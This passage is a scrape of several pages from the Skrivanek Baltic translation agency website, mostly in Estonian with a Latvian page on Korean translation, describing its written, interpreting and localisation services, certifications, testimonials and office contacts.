tõlkeprotsessi lihtsustada. Tõlkeabivahendid ei tugine arvutipõhisele ega automaattõlkele, kuid nende abil on võimalik tõlkimisprotsessi kiirendada, tagada terminoloogia järjepidev kasutus, vähendada tõlke hinda ja pakkuda muid eeliseid. Nende vahendite abil salvestatakse ka kõik tõlgitud tekstid, mis tähendab seda, et identseid lauseid peab nüüd ainult üks kord tõlkima. Tõlkeabivahendid on eriti kasulikud finants – ja tehniliste tekstide, samuti meditsiinitoodete kirjelduste, veebilehtede ning tarkvara tõlkimisel. FOCUS on veebipõhine keeleoskuse hindamise vahend, mis võimaldab teil tööle kandideerija keeleoskust põhjalikult ja tõhusalt testida. Testi kirjalik osa sisaldab grammatika, sõnavara ja teksti sisu mõistmise ülesandeid. FOCUS testib ka suulist keeleoskust ning annab seega kandidaadi keeleoskusele täpse ja ülevaatliku hinnangu. Tegemist on värbamisprotsessis väga kasuliku tööriistaga! --- > Meie 25 aastat kogemust, üle 110 keele ja enam kui 3000 keelespetsialisti on sinu päralt! Usalda oma tekstid asjatundjate kätte! - Published: 2022-05-10 - Modified: 2024-08-13 - URL: https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/ - Translation Priorities: Optional Meil on enam kui 25 aastat kogemust tõlketeenuse osutamise valdkonnas ning meil on au kuuluda maailma 100 suurima teenusepakkuja hulka. Pakume dokumentide kirjalikku tõlget enam kui 110 keelekombinatsioonis. Kogenud tõlkijad ja valdkonna spetsialistid tagavad eri sektorite tekstidele kvaliteetse tõlke. Meie tõlkebüroo on omandanud mitu ISO sertifikaati. Nii tagame teile alati hea kvaliteediga tõlke. Skrivanek oli esimene tõlkebüroo Kesk- ja Ida-Euroopas, kes vastas täielikult ISO 9001 kvaliteedijuhtimissüsteemi nõuetele. See tähendab, et meie ettevõte on rakendanud oma teenuste jaoks vajalikud protsessid, et täita nii klientide nõudmisi kui ka seadusandlikke nõudeid. LAI KEELEVALIK Meie tõlkebüroo eelis on väga lai valik keelelahendusi. Tõlkijate ja keeletoimetajate rahvusvaheline baas tagab teie teksti tõlke igasse soovitud keelde. KOGENUD KEELESPETSIALISTID JA VALDKONNA ASJATUNDJAD Meie pikaajaline kogemus on tõlkebüroosse koondanud nii kogenud keelespetsialistid kui ka eri valdkondade asjatundjad. See tagab teie teksti oskusliku tõlke ja korrektuuri ka juhul, kui see sisaldab väga spetsiifilist sõnavara. EN 17100 sertifikaat tõendab, et meie ettevõte vastab kehtestatud nõuetele nii spetsialisti valiku, suhtluse, projektijuhtimise, tööprotsessi, tehnoloogia kasutamise kui ka muude sektorile omaste joonte puhul. MASINTÕLGE Tõlke kvaliteedi ja tööprotsessi kiiruse parandamiseks kasutame uuemaid tõlketehnoloogiaid, näiteks masintõlget. Masintõlge on teinud läbi väga suure arenguhüppe ning aitab oluliselt säästa aega, ilma et teksti soravus ja selgus tõlkes kaduma läheks. Skrivanek on välja töötanud oma neuromasintõlke süsteemi Skrivanek NMT. Lisaks teeme koostööd suurimate NMT-teenuse pakkujatega, nagu Google ja DeepL – peamiselt keeltes, kus me ei ole veel välja arendanud oma masintõlget. Vajaduse korral saame kohandada NMT-süsteemi teie valdkonna tõlgete jaoks. Oleme omandanud ISO 18587 sertifikaadi, mis määratleb nõuded masintõlke täieliku inimese poolt järeltoimetamise protsessile ja keeletoimetajate pädevustele. ANDMETE KONFIDENTSIAALSUS Tagame oma klientide andmete konfidentsiaalsuse. Standard ISO/IEC 27001:2022 infoturbe juhtimissüsteemi kohta garanteerib, et meie ettevõttes rakendatakse infokaitsemeetmeid. Samuti tagab see vajaliku kontrolli, et kindlustada kliendi poolt meile usaldatud andmete turvalisus ja konfidentsiaalsus. INDIVIDUAALNE LÄHENEMISVIIS Läheneme igale kliendile ja projektile individuaalselt. Töötame eri vormingus tekstidega, leiame valdkonnale sobiva tõlkija ja teeme põhjaliku keelekorrektuuri. KÕIK TÕLKED ÜHEST KOHAST Meie tugevuseks on kirjalikud tõlked olenemata valdkonnast: erialased tõlked, üldised tõlked, kinnitatud tõlked või tõlgete lokaliseerimine. Oma kogenud meeskonnaga saame teile soovi korral pakkuda kõiki tõlketeenuseid, mida vajate. VÕIMEKUS SUURTE PROJEKTIDE ELLUVIIMISEKS Mahukate projektide tõlkimine on meie büroos väga teretulnud. Hea meelega aitame ka suuremate ja pikaajaliste projektide elluviimisel, näiteks väga pikkade või tehniliste tekstide tõlkimisel. Oleme oma klientidele edukalt tõlkinud tuhandete lehekülgede kaupa hanke kirjeldusi või materjale õigusvaidluse tarbeks, mille puhul peab mõistma kohtuasja, vaidluse ja seaduste olemust, et tagada teksti korrektsus. MIS ON KIRJALIKU TÕLKE HIND? Tõlketöö päringu esitamise järel saadame teile hinnapakkumise 30 minuti jooksul. Tõlke hinna kujunemisel arvestame sõnade arvu, keelekombinatsiooni, teksti spetsiifilisust jne. Tõlked hõlmavad ka keelekorrektuuri sihtkeele emakeelena kõneleja poolt. Täpsema pakkumise saamiseks saatke meile tõlgitav dokument ning me arvutame teile teenuse hinna. Meie tõlkebüroo tõlkijad töötavad igas vormingus dokumentidega. KUI KIIRESTI KIRJALIK TÕLGE VALMIB? Tõlge sisaldab kirjalikku tõlget ja põhjalikku keelekontrolli. Tähtaja lepime teiega kokku individuaalselt enne tõlkimise alustamist, kuid üldjuhul saab 500-sõnalise teksti kätte ühe tööpäevaga. 1000-sõnalise teksti puhul palume teil arvestada vähemalt poolteist tööpäeva. Meie andmebaasis on üle 3000 kvalifitseeritud tõlkija, mis tagab igas keeles teksti tõlke mõistliku aja jooksul. Vajaduse korral pakume kirjalikku tõlget ka kiirtööna. Sellise projekti puhul lepime tähtaja teiega eraldi kokku, kuid tõlke hind on kiirtöö puhul kõrgem. ISO sertifikaadiga tagatud kvaliteet ja konfidentsiaalsusMeie projektijuhid räägivad läti, vene, inglise, saksa ja poola keelt99% klientidest saab hinnapakkumise vähem kui 15 minuti jooksul KÜSIGE HINNAPAKKUMIST / SAATKE OMA KÜSIMUS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada ERIALASED TÕLKED Oleme spetsiifiliste tekstide tõlkimise eksperdid. Töötame igapäevaselt meditsiinitekstide, finantsdokumentide, ehitusalaste käsiraamatute, patentide ja muude taoliste materjalidega. Kui te vajate oma valdkonnas parimat tõlget, siis just seda me teile pakumegi! Erinevad tuntud ettevõtted usaldavad juba aastaid oma tõlketööd meie hoolde. Loe rohkem ÜLDISED TÕLKED Olgu nendeks era- või äridokumendid, trükitud materjalid või graafilised tekstid – töötame kõigi formaatide ja valdkondadega. Meie andmebaasid on ülemaailmsed ning tänu sellele saame teile pakkuda kiireid ja paindlikke lahendusi, vajadusel ka kiirtõlget. Võta ühendust KINNITATUD TÕLKED Ametlike dokumentide, nagu sünnitunnistuse, testamendi või abielutunnistuse tõlkimisel on mõnikord vaja tõlkeprotsessi kaasata vandetõlk või notar. Näiteks juhul, kui ühe riigi ametiasutuses välja antud dokumenti soovitakse kasutada teises, asjaomast keelt riigikeelena mittekasutavas riigis. Eestis pakub meie büroo vandetõlgi kinnitatud tõlkeid. Juhul, kui vajate kinnitatud tõlget keelesuunal, mida Eesti vandetõlgid ei paku, ulatame abikäe ja pakume Läti notari kinnitusega tõlkeid ligi 500 keelekombinatsioonis. Võta ühendust LOKALISEERIMINE Lokaliseerimine on tõlgitava teksti või arvutitarkvara kohandamine sihtkeele kultuuri ja tavadega. Lokaliseerimist on väga hea kasutada turundusmaterjalide, kasutusjuhendite ja kodulehekülgede tõlkimisel. Väga oluline on lokaliseerimine näiteks toodete eksportimisel välisriikidesse. Loe rohkem --- > 25 aastat kogemust, 110+ keelt ja üle 3000 spetsialisti - tõlked Sinu ala asjatundjatelt! - Published: 2022-05-10 - Modified: 2024-09-04 - URL: https://skrivanek.lv/kontakti/ - Translation Priorities: Optional if (typeof(gem_fix_fullwidth_position) == "function") { gem_fix_fullwidth_position(document. getElementById("fullwidth-block-6887305587c61")); } KÜSIGE HINNAPAKKUMIST / SAATKE OMA KÜSIMUS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada KONTAKT – SKRIVANEK BALTIC TÕLKEBÜROO Lāčplēša iela 87C, Riia, Läti, LV-1011 (Waze)E–R 9. 00 kuni 17. 30Communication only in English, Russian or Latvian. birojs@skrivanek. lv MEIE TÖÖTAJAD Vasilijs Ragačevičs Direktor vasilijs@skrivanek. lv Ivars Treskovskis Tõlkeprojektide direktor ivars@skrivanek. lv Aiga Matveja Õppekeskuse juhataja macibas@skrivanek. lv Lelde Calmane Kvaliteediosakonna juhataja lelde@skrivanek. lv Jānis Luns Turundusjuht evita@skrivanek. lv Jeļena Lapoška Haldusosakonna juhataja jelena. laposka@skrivanek. lv Uldis Krūmiņš IT-administraator uldis@skrivanek. lv Dana Laizāne Lokaliseerimise ja tehisintellekti projektide direktor dana@skrivanek. lv SKRIVANEK BALTIC TÕLKEBÜROO Skrivanek Baltic on sertifitseeritud tõlkebüroo, mis pakub Baltimaades kõrgeima kvaliteediga keelteenuseid juba alates 2003. aastast. KIRJALIK TÕLGE Pakume kvaliteetseid üld- ja erialaseid tõlkeid enam kui 110 keeles, sealhulgas eesti, inglise, vene, soome, rootsi, norra, läti, saksa, hispaania, prantsuse ja itaalia keeles. Meie kõige populaarsemad tõlkevaldkonnad on kindlustus, ehitus, rahandus ja pangandus, inimressursid, IT ja mängimine, õigus, põllumajandus ja metsandus, tehnika ja raudteed, meditsiin ja kliinilised uuringud, töötlev tööstus, reklaam ja turundus, kaubandus, turism ja valitsus ning kohalikud omavalitsused. Pakume vandetõlgi kinnitatud tõlkeid vastavalt Eesti Vabariigi õigusaktidele, tekstide grammatilist ja stiililist toimetamist, adapteerimisteenust ja sisuloomet, trükiettevalmistusteenust (DTP), veebilehe tõlget, audio, video või tarkvara lokaliseerimist ning GoogleAds ja SEO tõlkeid. SUULINE TÕLGE Pakume suulise tõlke teenuseid enam kui 40 keeles. Meie professionaalsed tõlgid saavad järeltõlkega abiks olla koosolekutel, ärikohtumistel ja ekskursioonidel ning sünkroontõlkega suuremahulisematel üritustel, näiteks konverentsidel. Lisaks abistavad meie tõlgid nii kohtutoimingutes kui ka suhtlemisel valitsus- või omavalitsusasutustega. Võta meiega ühendust ja leiame sulle sobivaima lahenduse! --- > Suulised tõlked on abiks konverentsidel, ärikohtumistel ja muudel rahvusvahelistel toimingutel. Küsi pakkumist tõlketeenusele Skrivanekist! - Published: 2022-05-10 - Modified: 2024-08-13 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/ - Translation Priorities: Optional Suuline tõlge on tänapäeval vajalik rahvusvahelistel konverentsidel ja üritustel, tähtsatel ärikohtumistel ja -koosolekutel. Samuti kasutatakse suulist tõlget veebikonverentsidel ja -kohtumistel, mis toimuvad Zoomis, MS Teamsi ja muudel veebiplatvormidel. Suulise tõlke puhul on tõlkija teadmised ja tõlke kvaliteet äärmiselt olulised, et kõneleja mõte saaks tõlke sihtkeeles võimalikult täpselt edasi antud. Suulise tõlke saab üldiselt jagada kaheks – järeltõlge ja sünkroontõlge –, kuid erilise spetsiifika tõttu on olemas ka näiteks kohtutõlge. MIKS VALIDA SUULINE TÕLGE SKRIVANEKIST? Skrivanek on pikaajalise kogemusega tõlkebüroo. Pakume suulise tõlke läbiviimiseks vajalikku tehnikat ning professionaalseid tõlkijaid, kes töötavad konverentsidel ja kohtumistel kohapeal või pakuvad tõlget veebikeskkonnas toimuvatele üritustele. Meie eelis on suurepärane klienditeenindus ning alati kõrge kvaliteet. Skrivanekil on viis ISO sertifikaati, mis tagavad meie tõlkijate professionaalsuse ja kliendiandmete konfidentsiaalsuse. Oleme edukalt ellu viinud keerulisi tõlkeprojekte ning pakume parimaid lahendusi ka uudsetes olukordades. ISO sertifikaadiga tagatud kvaliteet ja konfidentsiaalsusMeie projektijuhid räägivad läti, vene, inglise, saksa ja poola keelt99% klientidest saab hinnapakkumise vähem kui 15 minuti jooksul KAS VAJATE KIRJALIKKU VÕI SUULIST TÕLGET? Hinnapakkumise koostamisel võtame aluseks teie soovid. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada JÄRELTÕLGE Järeltõlge tähendab, et tõlk kuulab esmalt kõnelejat ja seejärel tõlgib kõneleja öeldu teise keelde. Järeltõlke saab omakorda jagada kaheks: lühike ja pikk järeltõlge. Lühikese järeltõlke puhul tehakse tõlge iga kahe-kolme lause järel. See on sagedane tava äriläbirääkimistel, visiitidel, giidituuridel jne. Pika järeltõlke korral on tõlke intervalliks 5–20 minutit. Hea professionaalne tõlk suudab ka pikki vestlusi väga üksikasjalikult teises keeles edasi anda. Tänapäeval asendatakse pikk järeltõlge sageli sünkroontõlkega, kuid seda kasutatakse endiselt koosolekutel või kohtumistel (nt tehnilised infotunnid, äriõhtusöögid, väljasõidud jm väikese rühmaga koosviibimised). MILLINE ON HEA JÄRELTÕLGE? Suuline tõlge peab sõnumi või idee sihtkeeles võimalikult hästi edasi andma. Järeltõlke puhul on oluline jääda truuks kõneleja tonaalsusele, samas kui tõlk annab jutu mõtte võimalikult kiiresti ja ladusalt edasi. Hea tõlke jaoks on vaja üheselt mõistetavat ning konteksti arvestavat keelekasutust. Tõlk peab omama head kontakti nii kõneleja kui ka kuulajaskonnaga. SÜNKROONTÕLGE Sünkroontõlge tähendab, et kõneleja juttu tõlgitakse tõlkekabiinis paarisekundilise viitega. Sünkroontõlge on suhteliselt uus suulise tõlke liik, mis pärineb teise maailmasõja järgsest Nürnbergi protsessist (kuigi sellega tegeleti ka varem). Nürnbergi kohtuprotsesse tõlgiti nelja keelde ja sellest ajast alates on tõlkeprotsess jäänud suures osas samaks (kabiinid, mikrofonid, kõrvaklapid, kolm tõlki). Sünkroontõlge on väljakutseterohke: see nõuab tõlgilt tohutut keskendumist, sest inimesed tavaliselt ei kuula ega räägi samal ajal. Seetõttu nõuab sünkroontõlkimine põhjalikku koolitust ja harjutamist. Tõlgid töötavad enamasti koos vähemalt ühe või kahe kolleegiga helikindlas kabiinis. Tõlk kuulab kõnelejat kõrvaklappidest ja annab peaaegu kohe tõlke oma mikrofonis edasi. Kuulajad lülitavad oma kõrvaklapid vastavale kanalile, et kuulata sünkroontõlget nende valitud keelde. Sünkroontõlke korral on võimalik mitu keelerežiimi konfiguratsiooni. Mitmekeelsetel konverentsidel tõlgivad kabiinides olevad tõlgid ainult oma emakeelde või konkreetset keelepaari. Kuna seda tüüpi suuline tõlge nõuab suurt keskendumist, vahetatakse tõlke iga 10–30 minuti järel. MILLINE ON HEA SÜNKROONTÕLGE? Hea sünkroontõlge annab sõnumi sihtkeeles edasi võimalikult täpselt, jäädes truuks nii kõneleja mõttele kui ka tonaalsusele. Sünkroontõlke korral väldib tõlk sõnasõnalist tõlget. Tõlgid kõnelevad rahuliku, kindla ning ühtlase tooniga. Neil peab olema hea kontakt nii kõneleja kui ka kuulajatega. Sünkroontõlke puhul on vajalik teatud annus spontaansust, sest jutu mõte tuleb võimalikult hästi edasi anda. KOHTUTÕLGE Suuline tõlge võib olla vajalik ka kohtumenetluses. Kohtutõlke puhul on tähtis, et tõlk tunneks ja teaks õigusküsimusi, -terminoloogiat ja -protsesse. Skrivanek Balticu meeskonda kuuluvad tõlgid, kes on spetsialiseerunud kohtumenetluste tõlkimisele. On ülioluline, et kohtutõlget teeksid kutselised tõlgid, kuna asjakohase hariduse ning kogemuseta tõlgid võivad terminoloogias eksida. Abielulahutus, kahju hüvitamine, töösuhte vaidlused, võlgnevused ja kinnisvaraasjad – need on vaid osa kohtumenetlustest, millest igaühe puhul kasutatakse erisugust terminoloogiat, milles meie tõlgid on pädevad. KONVERENTSITÕLGE Konverentsidel on olulisem edastada esineja mõtteid kui tõlkida iga sõna. Meie professionaalsed sünkroontõlgid suudavad tagada suhtluse erinevate kultuuride esindajate vahel. SOSINTÕLGE Sosintõlge on sisuliselt sünkroontõlke üks vorm. Tõlk sosistab tõlke ühele või kahele koosolekul osalejale kõrva, mitte ei tööta helikindlast kabiinist kõrvaklappide kaudu. ABITEENUSED Kui vajate abi tõlkimisel igapäevastes olukordades, näiteks suhtlemisel valitsus- või kohalike ametiasutustega, dokumentide esitamisel jne, on tõlkeabi teenused teie jaoks õige valik. Võtke meiega ühendust ja me leiame parima lahenduse! MUUD LIIKI TÕLKED Pakume ka muid tõlketeenuseid. Kui te ei leia loetletud tõlketeenuste hulgast seda, mida otsite, võtke ühendust meie projektijuhtidega – leiame kindlasti teile sobiva lahenduse! SUULISED TÕLKED ENAM KUI 40 KEELES Eesti keel Hispaania keel Inglise keel Itaalia keel Kreeka keel Leedu keel Läti keel Norra keel Poola keel Prantsuse keel Rootsi keel Saksa keel Soome keel Taani keel Tšehhi keel Kindlustus Ehitus Personalitöö ja inimressursid (HR) Finantssektor ja pangandus IT ja mängud Põllumajandus Õigus Metsandus Tehnoloogia- ja raudteesektor Meditsiin ja kliinilised uuringud Töötlev tööstus Reklaam ja turundus Kaubandus Turism Riigi- ja omavalitsusasutused USALDUSVÄÄRSUS. KVALITEET. KRKA, d. d. Skrivaneki meeskond on abivalmis ja vastutulelik. Meie päringutele, mis on seotud meditsiinitekstide tõlgetega, lähenetakse väga mõistvalt ka siis, kui on vaja tõlkida mitmest eri keelest korraga. Tellimused teostatakse, järgides kõrgeid kvaliteedistandardeid ja eetikanorme, ning kinni peetakse ka tähtaegadest.  Adidas Baltic Skrivaneki töötajad on väga abivalmid ning lähenevad mõistvalt meie tõlgete spetsiifikale, mis hõlmab Baltikumis räägitavaid keeli. Soovitame ka teistel firmadel kasutada Skrivaneki pakutavaid teenuseid.  Sandoz d. d. Soovitame Skrivanek Balticut kui usaldusväärset koostööpartnerit, kui on vaja tõlkida suuremahulisi projekte, mis nõuavad professionaalset lähenemist.  --- > Tarkvara, veebilehtede, jooniste ja skeemide lokaliseerimine, pidades silmas sihtkeele eripärasid ning sihtriigi õigusnorme ja standardeid. Loe lähemalt! - Published: 2022-05-10 - Modified: 2024-01-03 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/ - Translation Priorities: Optional VEEBILEHEKÜLJED Veebilehekülje lokaliseerimine hõlmab olemasoleva veebilehe tõlkimist ja kohandamist vastavalt sihtkeele kultuuriruumile. Meie meeskond aitab teil jõuda koostööpartneriteni üle maailma ja turundada oma toodet või teenust rahvusvaheliselt läbi kohandatud veebilehekülje. Loe rohkem JOONISED JA PILDITEKSTID Mõned tekstid, näiteks käsiraamatud, võivad sisaldada jooniseid ja pilte, mida on vaja lokaliseerida, et tekst oleks täiesti üheselt arusaadav. Me saame taasluua joonised ja pildid nii, et neil olev tekst on tõlgitud sihtkeelde ning kohandatud vastavalt sihtkeele eripärale. TARKVARA Tarkvara lokaliseerimine võimaldab inimesel kasutada seadme tarkvara tema emakeeles. Lokaliseerida on võimalik näiteks menüüsid või käsklusi ning sealjuures on võimalik tõlkida ka kogu dokumentatsioon, järgides sihtriigi õigusnorme ja standardeid. Lokaliseeritud tarkvara töötab samamoodi nagu originaaltarkvara ning ühildub täielikult seadmega, mis on selle kasutamiseks mõeldud. E-ÕPPE SISU JA LAHENDUSTE LOKALISEERIMINE Kuna kogu maailmas soovivad inimesed üha enam omandada uusi oskusi ja teadmisi just veebis, soovitame teil mitte kõhelda oma õppesisu või e-lahenduse lokaliseerimise osas vähemalt mõnesse populaarsesse keelde maailmas või teie piirkonnas. DIGITURUNDUSE SISU LOKALISEERIMINE Digiturundus, sealhulgas veebilehed ja läbimõeldud meediakampaaniad veebis, haarab teie klientide südamed ja meeled sõnumitega virtuaalses keskkonnas, samal ajal kui sotsiaalvõrgustikud võimaldavad neil omavahel tihedamalt suhelda. Eriline viis muuta teie toode ainulaadseks võib pelgalt klassikalises tõlkes kaduma minna: siin tuleb teile appi turundussisu lokaliseerimine. GOOGLE’i REKLAAMIDE JA OTSINGUMOOTORI OPTIMEERIMISE (SEO) TÕLKED Kui teete oma veebilehe kättesaadavaks mitmes keeles, suurendab see märkimisväärselt selle konkurentsieelist. Meie spetsialistid lokaliseerivad teie veebilehe vastavalt uusimatele SEO-põhimõtetele, et see oleks orgaanilistes otsingutes võimalikult kõrgel kohal, ning kohandavad märksõnad Google Adsi reklaamide jaoks, et teie potentsiaalsed kliendid teid hõlpsasti üles leiaksid. SOOVITE NÕUSTAMIST? Hinnapakkumise koostamisel võtame aluseks teie soovid. Võta ühendust KORDUMA KIPPUVAD KÜSIMUSED Tõlgime kõiki tekste mis tahes elektroonilises vormingus, säilitades samas originaaldokumendi kujunduse. Lokaliseerimisteenuste korral järgime kliendi antud konkreetseid juhiseid või tarkvarast tingitud seadeid. Teeme seda suurima heameelega! Skrivanekil on laialdane kogemus ja pädevus erinevate veebilehtede ning sisuhaldussüsteemide tõlkimises ja lokaliseerimises. Tagame kliendile alati personaalse lähenemise ja leiame sobivaima lahenduse vastavalt teie olukorrale, et jõuda vajalikes keelekombinatsioonides parima tulemuseni. Jah! Me loome sageli oma koostööpartnerite jaoks isegi eraldi keelespetsialistide meeskonnad, mis tähendab, et kõiki teenuseid osutavad alati samad tõlgid ja tõlkijad, kes on teid juba varem aidanud. Oleme tänulikud tagasiside eest ja kaasame teie tekstide tõlkimisse meeleldi varem osalenud keelespetsialisti. Meie püsiklientidel on ka oma projektijuhid, kes nende tellimustega tegelevad. PAKUME KEELELAHENDUSI MITMESUGUSTE VALDKONDADE JAOKS ENAM KUI KOLMESAJAS KEELEKOMBINATSIOONIS Eesti keel Hispaania keel Inglise keel Itaalia keel Kreeka keel Leedu keel Läti keel Norra keel Poola keel Prantsuse keel Rootsi keel Saksa keel Soome keel Taani keel Tšehhi keel Kindlustus Ehitus Personalitöö ja inimressursid (HR) Finantssektor ja pangandus IT ja mängud Põllumajandus Õigus Metsandus Tehnoloogia- ja raudteesektor Meditsiin ja kliinilised uuringud Töötlev tööstus Reklaam ja turundus Kaubandus Turism Riigi- ja omavalitsusasutused USALDUSVÄÄRSUS. KVALITEET. KRKA, d. d. Skrivaneki meeskond on abivalmis ja vastutulelik. Meie päringutele, mis on seotud meditsiinitekstide tõlgetega, lähenetakse väga mõistvalt ka siis, kui on vaja tõlkida mitmest eri keelest korraga. Tellimused teostatakse, järgides kõrgeid kvaliteedistandardeid ja eetikanorme, ning kinni peetakse ka tähtaegadest.  Adidas Baltic Skrivaneki töötajad on väga abivalmid ning lähenevad mõistvalt meie tõlgete spetsiifikale, mis hõlmab Baltikumis räägitavaid keeli. Soovitame ka teistel firmadel kasutada Skrivaneki pakutavaid teenuseid.  Sandoz d. d. Soovitame Skrivanek Balticut kui usaldusväärset koostööpartnerit, kui on vaja tõlkida suuremahulisi projekte, mis nõuavad professionaalset lähenemist.  ROHKEM KUI 25 AASTAT TURUL! Hinnapakkumise koostamisel võtame aluseks teie soovid. 0+ keelt erinevates kombinatsioonides 0+ milj. tõlgitud sõna (2023) 0+ keeleeksperti 0 ISO sertifikaati --- > Dažādu dokumentu un pasākumu tulkojumi korejiešu valodā. Saņemiet cenas pieprasījumu bez maksas tikai 15 minūtēs. - Published: 2022-04-30 - Modified: 2024-07-17 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-korejiesu-valoda/ - Translation Priorities: Optional TULKOJUMI KOREJIEŠU VALODĀ / TULKOT KOREJIEŠU VALODĀ CIK MAKSĀ TULKOŠANA KOREJIEŠU VALODĀ? Katram projektam no vai uz korejiešu valodu cenu nosaka individuāli. Mūsu projektu vadītāji ņem vērā vairākas komponentes, piemēram, tulkojamā materiāla apjomu, tulkojuma izpildes termiņu, teksta satura specifiku, atkārtojumus tekstā, grafiskā dizaina elementu sarežģītību, tiek noskaidrots, vai būs nepieciešama teksta formatēšana, koriģēšana, kā arī citi papildu pakalpojumi (notariāls apliecinājums, apostille, u. c. pakalpojumi. ) Tāpat Skrivanek nodrošina arī mutiskos tulkojumus gan Latvijā, Eiropā un arī Korejā, kuru galvenās izmaksu pozīcijas veido valodu kombinācija, kurā notiks tulkojums, vieta, laiks, komandējuma izdevumi, tehniskais nodrošinājums u. c. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Bez šaubām, lai uzzinātu precīzas tulkošanas projekta izmaksas, gaidīsim jūsu tulkojamo materiālu mūsu e-pastā. Skrivanek tulkošanas projektu vadītāji sazināsies ar jums un sīki informēs par visām tulkošanas izmaksām pirms projekta uzsākšanas. Tulkojuma cena tiek noteikta saskaņā ar Skrivanek Baltic spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, atkārtojumiem tekstā, un citiem būtiskiem parametriem. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM KOREJIEŠU VALODĀ: dažādu dokumentu tulkošana korejiešu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; korejiešu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi korejiešu valodā; individuālie korejiešu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus korejiešu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI KOREJIEŠU VALODĀ / TULKOT KOREJIEŠU VALODĀ CIK MAKSĀ TULKOŠANA KOREJIEŠU VALODĀ? Katram projektam no vai uz korejiešu valodu cenu nosaka individuāli. Mūsu projektu vadītāji ņem vērā vairākas komponentes, piemēram, tulkojamā materiāla apjomu, tulkojuma izpildes termiņu, teksta satura specifiku, atkārtojumus tekstā, grafiskā dizaina elementu sarežģītību, tiek noskaidrots, vai būs nepieciešama teksta formatēšana, koriģēšana, kā arī citi papildu pakalpojumi (notariāls apliecinājums, apostille, u. c. pakalpojumi. ) Tāpat Skrivanek nodrošina arī mutiskos tulkojumus gan Latvijā, Eiropā un arī Korejā, kuru galvenās izmaksu pozīcijas veido valodu kombinācija, kurā notiks tulkojums, vieta, laiks, komandējuma izdevumi, tehniskais nodrošinājums u. c. VAI IR PIEEJAMS 